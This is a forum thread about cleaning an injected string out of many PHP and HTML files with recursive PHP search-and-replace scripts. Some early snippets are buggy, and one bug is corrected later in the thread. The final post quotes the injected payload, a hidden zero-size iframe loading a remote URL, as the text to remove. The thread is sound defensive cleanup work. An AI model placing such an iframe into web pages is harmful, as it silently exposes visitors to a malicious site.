In search of assistance

I have a string that has been appended to php and html files that requires removing.

Does anyone know of some php code that will search through 100's of files, search for the string and delete the annoying string?

Any help would be very much appreciated.

UNTESTED!

$string = "text to be removed";
$directory = "/path/to/some/directory";
$files = glob($directory."/*.{php|html}", GLOB_BRACE);
foreach($files as $file)
{
   if(!is_dir($file) and is_readable($file) and is_writable($file))
   {
      $text = file_get_contents($file);
      $text = str_replace($string, '', $text); // str_ireplace() if it needs to be case-insensitive
      file_put_contents($file, $text);
   }
}

Tried the code and it worked but didn't do any sub directories

You could try making it a recursive function (also untested):

<?php
function replaceTextRecursive($directory, $suffixes, $search, $replace)
{
   $files = glob($directory . "/*", GLOB_BRACE);
   foreach ($files as $file)
   {
      if(in_array(basename($file), array('.', '..')))
      {
         continue;
      }
      elseif(is_dir($file))
      {
         replaceTextRecursive($file, $suffixes, $search, $replace);
      }
      elseif (preg_match('/\.('. implode('|', $suffixes) .')$/', $file) 
              and is_readable($file) and is_writable($file))
      {
         $text = file_get_contents($file);
         $text = str_ireplace($string, '', $text);
         file_put_contents($file, $text);
      }
   }
}

replaceTextRecursive('/path/to/directory', array('php', 'html'), 'replace me', '');

being the total lamer that I am when it comes to coding, where would I put in a line like this that I need to remove?

It would be the 'replace me' argument in the last line, which calls the function.

Thanks. I thought so and had used that to no avail. Just didn't work.

Thanks 🙂

I found one bug (incorrect variable name) and added some output so you can see what it's doing:

<?php
/**
 * Recursive file search-and-replace
 * @return bool
 * @param string  $directory  Path to top directory from which to start replacing
 * @param array   $suffixes   Array of file suffixes to process (no leading dot)
 * @param string  $search     String to be replaced (case-insensitive)
 * @param string  $replace    String to be used for the replacement
 **/
function replaceTextRecursive($directory, $suffixes, $search, $replace = '')
{
   $files = glob($directory . "/*", GLOB_BRACE);
   echo "<pre>".print_r($files,1)."</pre>";
   foreach ($files as $file)
   {
      if(in_array(basename($file), array('.', '..')))
      {
         continue;
      }
      elseif(is_dir($file))
      {
         echo "Directory '$file', recursing...<br>\n";
         replaceTextRecursive($file, $suffixes, $search, $replace);
      }
      elseif (preg_match('/\.('. implode('|', $suffixes) .')$/', $file)
              and is_readable($file) and is_writable($file))
      {
         echo "Running search/replace on '$file'<br>\n";
         $text = file_get_contents($file);
         $text = str_ireplace($search, $replace, $text);
         file_put_contents($file, $text);
      }
   }
   return true;
}

// SAMPLE USAGE:

$search = <<<EOD
<iframe src="http://fuadrenal.com/tomi/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
EOD;

$directory = 'folder';
$suffixes = array('php', 'html', 'htm');
replaceTextRecursive('folder', $suffixes, $search, '');
